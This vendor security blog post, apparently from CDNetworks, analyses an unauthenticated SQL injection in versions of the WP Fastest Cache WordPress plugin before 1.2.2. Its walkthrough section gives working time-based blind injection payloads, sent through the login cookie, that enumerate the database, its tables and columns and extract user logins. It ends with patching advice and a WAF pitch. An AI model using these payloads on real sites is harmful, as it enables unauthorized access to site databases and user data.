WP Fastest Cache is a WordPress caching plugin designed to accelerate page loading and enhance visitor experience with the goal of and improving website rankings on search engine results pages, notably, Google. According to WordPress.org, the plugin is used by over a million websites. The issue? Versions of WP Fastest Cache before 1.2.2 are vulnerable to SQL injection attacks, which could allow attackers without authentication to read the site’s database content, leading to huge privacy and security concerns.
Vulnerability Analysis
The vulnerability arises when the plugin initiates the caching system, specifically wpFastestCache.php
, where the caching function is located. It is observed that the cache()
function includes “inc/cache.php
” and the WpFastestCacheCreateCache
class to execute its createCache()
function.
Continuing to track into the createCache()
function in inc/cache.php
, it calls the is_user_admin()
function to check if the user is an admin user. Delving further into the is_user_admin()
function, it’s found that this function iterates through the cookie to match the “wordpress_logged_in” key and extracts the first matching field as the username
variable, which is then used in conjunction with the $wpdb
global variable to perform a query operation in the website’s database.
We can see that the username
is used as a parameter in the SQL statement, but no checks or filtering measures are applied. The core SQL statement is as follows:
"SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` FROM `$wpdb->users` INNER JOIN `$wpdb->usermeta` ON `$wpdb->users`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta`.`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;"
This primarily conducts an inner join query between the wp_users and wp_usermeta tables to search for rows that contain the relevant columns. The code replicates the matched $cookie_value, $username
, and statements within get_var
to display this information on the page.
Up to this point, it is clear that the value of username
is obtained from a cookie and is under user control. Moreover, the value of username
is used as a parameter in database execution without any form of checks or filtering. Users could connect malicious code with the above SQL statement, causing significant damage to the site.
A Walkthrough of the Vulnerability
Based on the above analysis and by linking SQL statements, it was discovered that this injection point does not directly repeat any error messages or query results from the application, making it a time-based blind injection. By closing the double quotes and then appending a sleep(5)
delay function, it is possible to determine whether the SQL statement was executed successfully.
We observed that when the statement is successfully concatenated, it results in a 5-second delay in the program’s execution. The concatenated and executed statement is as follows.
Database Access
Following this, the delay injection mechanism can be relied upon to determine the length of the database name. The statement used is root" AND if(length(database())=9,sleep(2),1) and "1"="1
. Here, root"
and "1"="1
serve to close the double quotes before and after, and if(expression1,expression2,expression3)
means that if expression1
is true, then if()
returns expression2
, otherwise it returns expression3
. In this case, if the length of the database length(database())=9
is true, then if()
returns sleep(2)
causing a 2-second delay, otherwise it returns 1. By executing in this manner, the current database length can be inferred.
The next step is to determine the composition of the database name. The statement used is root" AND if(mid(database(),1,1)="w",sleep(1),1) and "1"="1
. Similarly, root"
and "1"="1
are used to close the original double quotes, and sleep(1)
causes the program to execute with a 1-second delay. The function mid(database(),1,1)="w"
assesses whether the first character of the database is “w”. By employing a brute force attack method, each character of the database can be deduced to spell “WordPress”.
Database Tables
The next step is to determine the tables within the database. The statement used is root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1.
This means querying the first table of the ‘wordpress’ schema from the information_schema
database and using the mid()
function to extract its first character, then using if()
to check if this first character is “w”. By this method, the names of various tables in the WordPress database can be brute-forced.
SQL statement for the second character root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),2,1)="p", sleep(5),1) and "1"="1
SQL statement for the third character root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),3,1)="_", sleep(5),1) and "1"="1
… Ultimately, the first table name wp_termmeta
can be brute-forced.
Similarly, by changing the query results in the information_schema
database for tables in ‘wordpress’, other tables can be brute-forced.
SQL statement for the first character of the second table in WordPress root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1
SQL statement for the second character of the second table in WordPress root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),2,1)="p", sleep(5),1) and "1"="1
… SQL statement for the first character of the third table in WordPress root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),1,1)="w", sleep(5),1) and "1"="1
SQL statement for the second character of the third table in WordPress root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),2,1)="w", sleep(5),1) and "1"="1
… Based on this, all tables in the WordPress database can be brute-forced.
After obtaining all the tables in the database, the next step is to brute-force the columns within the tables, using the statement root" AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1
. This involves querying the first column of wp_users
in the information_schema
database and using the mid() function to extract its first character, then using if()
to check if this character is “I”. Similarly, this method can be used to brute-force the names of columns within the tables.
After obtaining all the column names in the table, the next step is to brute-force the values of the columns in the table using the statement root" AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1
. This means querying the first value of the user_login
field in the wp_users
table and using the mid()
function to extract its first character, then using if()
to check if this character is “r”. Similar to the above, this method can be used to brute-force the values of each column name in the tables.
How Prevalent Are SQL Injection Threats to WordPress Sites?
SQL injection attacks are a prevalent threat to WordPress sites, especially those that use plugins or themes with vulnerabilities, as we’ve explored above with the example of the WP Fastest Cache plugin.
To mitigate the risk of SQL injection attacks, WordPress site owners should follow security best practices such as keeping software updated, using reputable plugins and themes, implementing security plugins or firewalls, and regularly backing up site data.
By far, the most effective way to combat the issue highlighted in this guide is to upgrade WP Fastest Cache to the latest version. Our analysis has discovered that only versions of WP Fastest Cache before 1.2.2 are vulnerable, meaning updating the plugin is the most effective way to mitigate this issue.
Protecting Your WordPress Site With CDNetworks
CDNetworks’ WAF solution patches security flaws before they can be exploited, eliminating vulnerabilities such as the SQL injection threat present with the WP Fastest Cache WordPress plugin before version 1.2.2.
CDNetworks Cloud WAF is a cloud-based solution that protects against the exploitation of this vulnerability, as well as continuously exploring and analyzing other malicious attack methods.